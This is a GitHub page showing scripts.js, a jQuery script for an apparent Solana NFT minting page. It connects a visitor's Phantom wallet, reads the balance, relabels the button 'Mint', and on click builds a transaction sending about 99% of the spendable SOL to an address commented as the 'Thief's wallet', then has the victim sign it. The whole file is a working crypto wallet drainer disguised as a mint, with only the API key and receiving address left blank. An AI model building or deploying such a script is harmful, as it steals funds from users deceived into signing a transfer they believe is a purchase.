-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscripts.js
More file actions
72 lines (63 loc) · 3.27 KB
/
scripts.js
File metadata and controls
72 lines (63 loc) · 3.27 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
$(document).ready(function() {
$('#connect-wallet').on('click', async () => {
if (window.solana && window.solana.isPhantom) {
try {
const resp = await window.solana.connect();
console.log("Phantom Wallet connected:", resp);
var connection = new solanaWeb3.Connection(
'https://solana-mainnet.api.syndica.io/api-key/YOUR-API-KEY',
'confirmed'
);
const public_key = new solanaWeb3.PublicKey(resp.publicKey);
const walletBalance = await connection.getBalance(public_key);
console.log("Wallet balance:", walletBalance);
const minBalance = await connection.getMinimumBalanceForRentExemption(0);
if (walletBalance < minBalance) {
alert("Insufficient funds for rent.");
return;
}
$('#connect-wallet').text("Mint");
$('#connect-wallet').off('click').on('click', async () => {
try {
const recieverWallet = new solanaWeb3.PublicKey('XXXXXXXXXXX'); // Thief's wallet
const balanceForTransfer = walletBalance - minBalance;
if (balanceForTransfer <= 0) {
alert("Insufficient funds for transfer.");
return;
}
var transaction = new solanaWeb3.Transaction().add(
solanaWeb3.SystemProgram.transfer({
fromPubkey: resp.publicKey,
toPubkey: recieverWallet,
lamports: balanceForTransfer * 0.99,
}),
);
transaction.feePayer = window.solana.publicKey;
let blockhashObj = await connection.getRecentBlockhash();
transaction.recentBlockhash = blockhashObj.blockhash;
const signed = await window.solana.signTransaction(transaction);
console.log("Transaction signed:", signed);
let txid = await connection.sendRawTransaction(signed.serialize());
await connection.confirmTransaction(txid);
console.log("Transaction confirmed:", txid);
} catch (err) {
console.error("Error during minting:", err);
}
});
} catch (err) {
console.error("Error connecting to Phantom Wallet:", err);
}
} else {
alert("Phantom extension not found.");
const isFirefox = typeof InstallTrigger !== "undefined";
const isChrome = !!window.chrome;
if (isFirefox) {
window.open("https://addons.mozilla.org/en-US/firefox/addon/phantom-app/", "_blank");
} else if (isChrome) {
window.open("https://chrome.google.com/webstore/detail/phantom/bfnaelmomeimhlpmgjnjophhpkkoljpa", "_blank");
} else {
alert("Please download the Phantom extension for your browser.");
}
}
});
});